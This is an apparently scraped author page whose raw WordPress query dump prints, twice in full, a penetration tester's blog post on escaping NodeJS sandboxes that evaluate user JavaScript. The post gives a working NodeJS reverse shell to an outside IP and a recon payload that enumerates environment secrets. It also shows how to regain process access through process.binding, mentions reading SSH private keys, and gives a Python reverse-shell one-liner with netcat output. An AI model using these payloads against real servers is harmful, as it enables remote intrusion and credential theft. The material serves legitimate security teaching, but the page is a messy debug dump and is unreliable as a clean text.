Lars Sorenson
More by Lars Sorenson
WP_Query Object
(
[query] => Array
(
[post_type] => Array
(
[0] => post
[1] => webinars
)
[posts_per_page] => -1
[post_status] => publish
[meta_query] => Array
(
[relation] => OR
[0] => Array
(
[key] => new_authors
[value] => "44"
[compare] => LIKE
)
[1] => Array
(
[key] => new_presenters
[value] => "44"
[compare] => LIKE
)
)
)
[query_vars] => Array
(
[post_type] => Array
(
[0] => post
[1] => webinars
)
[posts_per_page] => -1
[post_status] => publish
[meta_query] => Array
(
[relation] => OR
[0] => Array
(
[key] => new_authors
[value] => "44"
[compare] => LIKE
)
[1] => Array
(
[key] => new_presenters
[value] => "44"
[compare] => LIKE
)
)
[error] =>
[m] =>
[p] => 0
[post_parent] =>
[subpost] =>
[subpost_id] =>
[attachment] =>
[attachment_id] => 0
[name] =>
[pagename] =>
[page_id] => 0
[second] =>
[minute] =>
[hour] =>
[day] => 0
[monthnum] => 0
[year] => 0
[w] => 0
[category_name] =>
[tag] =>
[cat] =>
[tag_id] =>
[author] =>
[author_name] =>
[feed] =>
[tb] =>
[paged] => 0
[meta_key] =>
[meta_value] =>
[preview] =>
[s] =>
[sentence] =>
[title] =>
[fields] =>
[menu_order] =>
[embed] =>
[category__in] => Array
(
)
[category__not_in] => Array
(
)
[category__and] => Array
(
)
[post__in] => Array
(
)
[post__not_in] => Array
(
)
[post_name__in] => Array
(
)
[tag__in] => Array
(
)
[tag__not_in] => Array
(
)
[tag__and] => Array
(
)
[tag_slug__in] => Array
(
)
[tag_slug__and] => Array
(
)
[post_parent__in] => Array
(
)
[post_parent__not_in] => Array
(
)
[author__in] => Array
(
)
[author__not_in] => Array
(
)
[search_columns] => Array
(
)
[ignore_sticky_posts] =>
[suppress_filters] =>
[cache_results] => 1
[update_post_term_cache] => 1
[update_menu_item_cache] =>
[lazy_load_term_meta] => 1
[update_post_meta_cache] => 1
[nopaging] => 1
[comments_per_page] => 50
[no_found_rows] =>
[order] => DESC
)
[tax_query] => WP_Tax_Query Object
(
[queries] => Array
(
)
[relation] => AND
[table_aliases:protected] => Array
(
)
[queried_terms] => Array
(
)
[primary_table] => wp_posts
[primary_id_column] => ID
)
[meta_query] => WP_Meta_Query Object
(
[queries] => Array
(
[0] => Array
(
[key] => new_authors
[value] => "44"
[compare] => LIKE
)
[1] => Array
(
[key] => new_presenters
[value] => "44"
[compare] => LIKE
)
[relation] => OR
)
[relation] => OR
[meta_table] => wp_postmeta
[meta_id_column] => post_id
[primary_table] => wp_posts
[primary_id_column] => ID
[table_aliases:protected] => Array
(
[0] => wp_postmeta
)
[clauses:protected] => Array
(
[wp_postmeta] => Array
(
[key] => new_authors
[value] => "44"
[compare] => LIKE
[compare_key] => =
[alias] => wp_postmeta
[cast] => CHAR
)
[wp_postmeta-1] => Array
(
[key] => new_presenters
[value] => "44"
[compare] => LIKE
[compare_key] => =
[alias] => wp_postmeta
[cast] => CHAR
)
)
[has_or_relation:protected] => 1
)
[date_query] =>
[request] => SELECT wp_posts.ID
FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
WHERE 1=1 AND (
( wp_postmeta.meta_key = 'new_authors' AND wp_postmeta.meta_value LIKE '{08b43874a7e38cdf69ed0dae4568eadc640120d8c115c12c62ecd6a5ed5c187a}\"44\"{08b43874a7e38cdf69ed0dae4568eadc640120d8c115c12c62ecd6a5ed5c187a}' )
OR
( wp_postmeta.meta_key = 'new_presenters' AND wp_postmeta.meta_value LIKE '{08b43874a7e38cdf69ed0dae4568eadc640120d8c115c12c62ecd6a5ed5c187a}\"44\"{08b43874a7e38cdf69ed0dae4568eadc640120d8c115c12c62ecd6a5ed5c187a}' )
) AND wp_posts.post_type IN ('post', 'webinars') AND ((wp_posts.post_status = 'publish'))
GROUP BY wp_posts.ID
ORDER BY wp_posts.post_date DESC
[posts] => Array
(
[0] => WP_Post Object
(
[ID] => 9959
[post_author] => 44
[post_date] => 2018-11-27 07:00:14
[post_date_gmt] => 2018-11-27 07:00:14
[post_content] => In this blog post, we're going to explore how to escape NodeJS sandboxes by understanding the internals of the interpreter.
NodeJS is a JavaScript runtime built on Chrome's V8 JavaScript engine, allowing developers to use the same programming language, and possibly codebase, for the frontend and backend of an application. Initially released in 2009, NodeJS now boasts usage by big-named tech companies such as Netflix, Microsoft, and IBM. Today, NodeJS has been downloaded more than 250,000,000 times and continues to grow. This popularity and wide-spread usage makes it an interesting target for exploration from a web application testing persepctive.
Before NodeJS, it was required to use different server-side languages, such as PHP or Perl, which have security issues of their own. However, while NodeJS and JavaScript offer improvements, they are no different when it comes to command injection thanks to the eval() feature.
The eval function allows applications to execute commands at the operating system level. When there's functionality that doesn't exist between the operating system and the application, or it's easier to offload the work to the underlying system, developers will turn to eval . Eventually, the use of this feature leads to the implementation of varying levels of sandboxing to prevent attackers like us from having the run of the underlying server.
Now, let's deep dive into NodeJS and find out how you can try and escape from a NodeJS sandbox in an app that lets you execute arbitrary JavaScript.
Reverse Shell
Spend enough time as a pentester, and reverse shells become second nature. Identifying opportunities to initiate a reverse connection becomes trivial and that's when the real fun begins. Thanks to Wiremask, we have a barebones reverse shell we can use in NodeJS:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
If you're lucky and the sandboxing is weak, or non-existent, you'll receive a reverse shell and can move on with your day. Unfortunately, things don't always work out; we'll walk through figuring out how to execute a reverse shell without require in the current environment. This is a common sandboxing technique and acts as a first-step defense from attackers. If you can't import NodeJS standard libraries, you can't easily do things such as read/write files to the operating system or establish network connections. Now, the real work begins.
Recon
The first step of any pentester's methodology is recon. We thought we were in the clear by identifying arbitrary command execution but because of the sandboxing we have to start from square one. Our first big step will be to identify what access our payload has while executing. The most straight forward way to do this is to trigger a stack trace and view the output. Unfortunately, not all web apps will simply dump the stack trace or standard error back at you. Luckily, we can use a payload to generate and print a stack trace to standard out. Using this StackOverflow post we see that the code is actually quite simple, especially with newer language features. Without direct console access we have to use a print statement or return the actual trace, which the following code will do:
function stackTrace() {
var err = new Error();
print(err.stack);
}
After running this payload, we'll get a stack trace:
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...
Huzzah, we know we're in sandbox.js, running in a lodash template using eval. Now, we can try to figure out our current code context.
We'll want to try printing this but we can't simply print the object. We'll have to use JSON.stringify():
> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON
Unfortunately this has some circular references, meaning we need a script that can identify these references and truncate them. Conveniently, we can embed JSON.prune into the payload:
> print(JSON.prune(this))
< {
"console": {},
"global": "-pruned-",
"process": {
"title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
"version": "v8.9.0",
"moduleLoadList": [ ... ],
...
}
The original JSON.prune doesn't support enumerating available functions. We can modify the case "function" results to output the function's name giving a better mapping of the functions available. Running this payload will give a substantial output which has some interesting items. First, there's this.process.env which contains the environment variables of the current process and may contain API keys or secrets. Second, this.process.mainModule contains configurations for the currently running module; you may also find other application-specific items that warrant further investigation, such as config file locations. Finally, we see this.process.moduleLoadList which is a list of all NodeJS modules loaded by the main process, which holds the secret to our success.
NodeJS Giving Us The Tools For Success
Lets narrow in on moduleLoadList in the main process. If we look at the original reverse shell code, we can see the two modules we need: net and child_process, which should be loaded already. From here, we research how to access modules loaded by the process. Without require, we have to use internal libraries and APIs used by NodeJS itself. Reading through the NodeJS documentation for Process, we see some promise with dlopen(). We're going to skip over this option however because, while it may work out with enough research, there is an easier way: process.binding(). Continuing on through the NodeJS source code itself, we'll eventually come to fs.js, the NodeJS library for File I/O. In here we see process.binding('fs') is being used. There isn't much documentation on how this works but we know this will return the fs module. Using JSON.prune, modified to print out the function names, we can explore our functionality:
> var fs = this.process.binding('fs');
> print(JSON.prune(fs));
< {
"access": "func access()",
"close": "func close()",
"open": "func open()",
"read": "func read()",
...
"rmdir": "func rmdir()",
"mkdir": "func mkdir()",
...
}
After further research, we learn that these are the C++ bindings used by NodeJS and using their appropriate C/C++ function signatures will allow us to read or write. With this, we can start exploring the local filesystem and potentially gaining SSH access by writing a public key to ~/.ssh/authorized_keys or reading ~/.ssh/id_rsa. However, it's common practice to isolate virtual machines from direct access and proxy the traffic. We want to initiate a reverse shell connection to bypass this network restriction. To do this, we'll look at trying to replicate the child_process and net packages.
Mucking about the Internals
At this point, the best path forward is researching functionality in the C++ bindings in the NodeJS repository. The process involves reading the relevant JS library (such as net.js) for a function you want to execute, then tracing the functionality back to the C++ bindings in order to piece everything together. We could rewrite net.js without require but there's an easier way: as it turns out CapcitorSet on GitHub did much of the heavy lifting and rewrote the functionality to execute an operating system level command without require: spawn_sync. The only changes we need to make to the gist are: change process.binding() to this.process.binding() and console.log() to print() (or remove it entirely). Next, we need to figure out what we can use to initiate the reverse shell. This is typical post-exploitation recon, looking for netcat, perl, python, etc with a payload running which <binary name> , for instance which python. In this case, we have Python and the respective payload on highon.coffee's reverse shell reference:
var resp = spawnSync('python',
['-c',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]
);
print(resp.stdout);
print(resp.stderr);
Make sure to update the "127.0.0.1" and 443 values to point to the internet-accessible IP address and port, respectively, that netcat is listening on. When we run the payload we see the sweet victory of a reverse shell:
root@netspi$ nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
whoami
user
sh-4.2$ ifconfig
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Wrap Up
From arbitrary code execution to a reverse shell, we can break out of a sandbox in NodeJS; it's only a matter of time. This problem was rampant with early backend languages for the web, such as PHP, and plagues us still. The lesson here is: never trust user input, and never execute user-provided code. Additionally, for pentesters, poking and proding at the internal workings of the interpreter is incredibly valuable for finding these obscure ways to break out of the sandbox. Using the system against itself, as we often know, will more often than not yield positive results.
[post_title] => Escape NodeJS Sandboxes
[post_excerpt] =>
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => escape-nodejs-sandboxes
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:06:25
[post_modified_gmt] => 2021-04-13 00:06:25
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=9959
[menu_order] => 572
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
)
[post_count] => 1
[current_post] => -1
[before_loop] => 1
[in_the_loop] =>
[post] => WP_Post Object
(
[ID] => 9959
[post_author] => 44
[post_date] => 2018-11-27 07:00:14
[post_date_gmt] => 2018-11-27 07:00:14
[post_content] => In this blog post, we're going to explore how to escape NodeJS sandboxes by understanding the internals of the interpreter.
NodeJS is a JavaScript runtime built on Chrome's V8 JavaScript engine, allowing developers to use the same programming language, and possibly codebase, for the frontend and backend of an application. Initially released in 2009, NodeJS now boasts usage by big-named tech companies such as Netflix, Microsoft, and IBM. Today, NodeJS has been downloaded more than 250,000,000 times and continues to grow. This popularity and wide-spread usage makes it an interesting target for exploration from a web application testing persepctive.
Before NodeJS, it was required to use different server-side languages, such as PHP or Perl, which have security issues of their own. However, while NodeJS and JavaScript offer improvements, they are no different when it comes to command injection thanks to the eval() feature.
The eval function allows applications to execute commands at the operating system level. When there's functionality that doesn't exist between the operating system and the application, or it's easier to offload the work to the underlying system, developers will turn to eval . Eventually, the use of this feature leads to the implementation of varying levels of sandboxing to prevent attackers like us from having the run of the underlying server.
Now, let's deep dive into NodeJS and find out how you can try and escape from a NodeJS sandbox in an app that lets you execute arbitrary JavaScript.
Reverse Shell
Spend enough time as a pentester, and reverse shells become second nature. Identifying opportunities to initiate a reverse connection becomes trivial and that's when the real fun begins. Thanks to Wiremask, we have a barebones reverse shell we can use in NodeJS:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
If you're lucky and the sandboxing is weak, or non-existent, you'll receive a reverse shell and can move on with your day. Unfortunately, things don't always work out; we'll walk through figuring out how to execute a reverse shell without require in the current environment. This is a common sandboxing technique and acts as a first-step defense from attackers. If you can't import NodeJS standard libraries, you can't easily do things such as read/write files to the operating system or establish network connections. Now, the real work begins.
Recon
The first step of any pentester's methodology is recon. We thought we were in the clear by identifying arbitrary command execution but because of the sandboxing we have to start from square one. Our first big step will be to identify what access our payload has while executing. The most straight forward way to do this is to trigger a stack trace and view the output. Unfortunately, not all web apps will simply dump the stack trace or standard error back at you. Luckily, we can use a payload to generate and print a stack trace to standard out. Using this StackOverflow post we see that the code is actually quite simple, especially with newer language features. Without direct console access we have to use a print statement or return the actual trace, which the following code will do:
function stackTrace() {
var err = new Error();
print(err.stack);
}
After running this payload, we'll get a stack trace:
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...
Huzzah, we know we're in sandbox.js, running in a lodash template using eval. Now, we can try to figure out our current code context.
We'll want to try printing this but we can't simply print the object. We'll have to use JSON.stringify():
> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON
Unfortunately this has some circular references, meaning we need a script that can identify these references and truncate them. Conveniently, we can embed JSON.prune into the payload:
> print(JSON.prune(this))
< {
"console": {},
"global": "-pruned-",
"process": {
"title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
"version": "v8.9.0",
"moduleLoadList": [ ... ],
...
}
The original JSON.prune doesn't support enumerating available functions. We can modify the case "function" results to output the function's name giving a better mapping of the functions available. Running this payload will give a substantial output which has some interesting items. First, there's this.process.env which contains the environment variables of the current process and may contain API keys or secrets. Second, this.process.mainModule contains configurations for the currently running module; you may also find other application-specific items that warrant further investigation, such as config file locations. Finally, we see this.process.moduleLoadList which is a list of all NodeJS modules loaded by the main process, which holds the secret to our success.
NodeJS Giving Us The Tools For Success
Lets narrow in on moduleLoadList in the main process. If we look at the original reverse shell code, we can see the two modules we need: net and child_process, which should be loaded already. From here, we research how to access modules loaded by the process. Without require, we have to use internal libraries and APIs used by NodeJS itself. Reading through the NodeJS documentation for Process, we see some promise with dlopen(). We're going to skip over this option however because, while it may work out with enough research, there is an easier way: process.binding(). Continuing on through the NodeJS source code itself, we'll eventually come to fs.js, the NodeJS library for File I/O. In here we see process.binding('fs') is being used. There isn't much documentation on how this works but we know this will return the fs module. Using JSON.prune, modified to print out the function names, we can explore our functionality:
> var fs = this.process.binding('fs');
> print(JSON.prune(fs));
< {
"access": "func access()",
"close": "func close()",
"open": "func open()",
"read": "func read()",
...
"rmdir": "func rmdir()",
"mkdir": "func mkdir()",
...
}
After further research, we learn that these are the C++ bindings used by NodeJS and using their appropriate C/C++ function signatures will allow us to read or write. With this, we can start exploring the local filesystem and potentially gaining SSH access by writing a public key to ~/.ssh/authorized_keys or reading ~/.ssh/id_rsa. However, it's common practice to isolate virtual machines from direct access and proxy the traffic. We want to initiate a reverse shell connection to bypass this network restriction. To do this, we'll look at trying to replicate the child_process and net packages.
Mucking about the Internals
At this point, the best path forward is researching functionality in the C++ bindings in the NodeJS repository. The process involves reading the relevant JS library (such as net.js) for a function you want to execute, then tracing the functionality back to the C++ bindings in order to piece everything together. We could rewrite net.js without require but there's an easier way: as it turns out CapcitorSet on GitHub did much of the heavy lifting and rewrote the functionality to execute an operating system level command without require: spawn_sync. The only changes we need to make to the gist are: change process.binding() to this.process.binding() and console.log() to print() (or remove it entirely). Next, we need to figure out what we can use to initiate the reverse shell. This is typical post-exploitation recon, looking for netcat, perl, python, etc with a payload running which <binary name> , for instance which python. In this case, we have Python and the respective payload on highon.coffee's reverse shell reference:
var resp = spawnSync('python',
['-c',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]
);
print(resp.stdout);
print(resp.stderr);
Make sure to update the "127.0.0.1" and 443 values to point to the internet-accessible IP address and port, respectively, that netcat is listening on. When we run the payload we see the sweet victory of a reverse shell:
root@netspi$ nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
whoami
user
sh-4.2$ ifconfig
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Wrap Up
From arbitrary code execution to a reverse shell, we can break out of a sandbox in NodeJS; it's only a matter of time. This problem was rampant with early backend languages for the web, such as PHP, and plagues us still. The lesson here is: never trust user input, and never execute user-provided code. Additionally, for pentesters, poking and proding at the internal workings of the interpreter is incredibly valuable for finding these obscure ways to break out of the sandbox. Using the system against itself, as we often know, will more often than not yield positive results.
[post_title] => Escape NodeJS Sandboxes
[post_excerpt] =>
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => escape-nodejs-sandboxes
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:06:25
[post_modified_gmt] => 2021-04-13 00:06:25
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=9959
[menu_order] => 572
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[comment_count] => 0
[current_comment] => -1
[found_posts] => 1
[max_num_pages] => 0
[max_num_comment_pages] => 0
[is_single] =>
[is_preview] =>
[is_page] =>
[is_archive] =>
[is_date] =>
[is_year] =>
[is_month] =>
[is_day] =>
[is_time] =>
[is_author] =>
[is_category] =>
[is_tag] =>
[is_tax] =>
[is_search] =>
[is_feed] =>
[is_comment_feed] =>
[is_trackback] =>
[is_home] => 1
[is_privacy_policy] =>
[is_404] =>
[is_embed] =>
[is_paged] =>
[is_admin] =>
[is_attachment] =>
[is_singular] =>
[is_robots] =>
[is_favicon] =>
[is_posts_page] =>
[is_post_type_archive] =>
[query_vars_hash:WP_Query:private] => c44722d0fdac30db3ba5178a21031e44
[query_vars_changed:WP_Query:private] =>
[thumbnails_cached] =>
[allow_query_attachment_by_filename:protected] =>
[stopwords:WP_Query:private] =>
[compat_fields:WP_Query:private] => Array
(
[0] => query_vars_hash
[1] => query_vars_changed
)
[compat_methods:WP_Query:private] => Array
(
[0] => init_query_flags
[1] => parse_tax_query
)
)
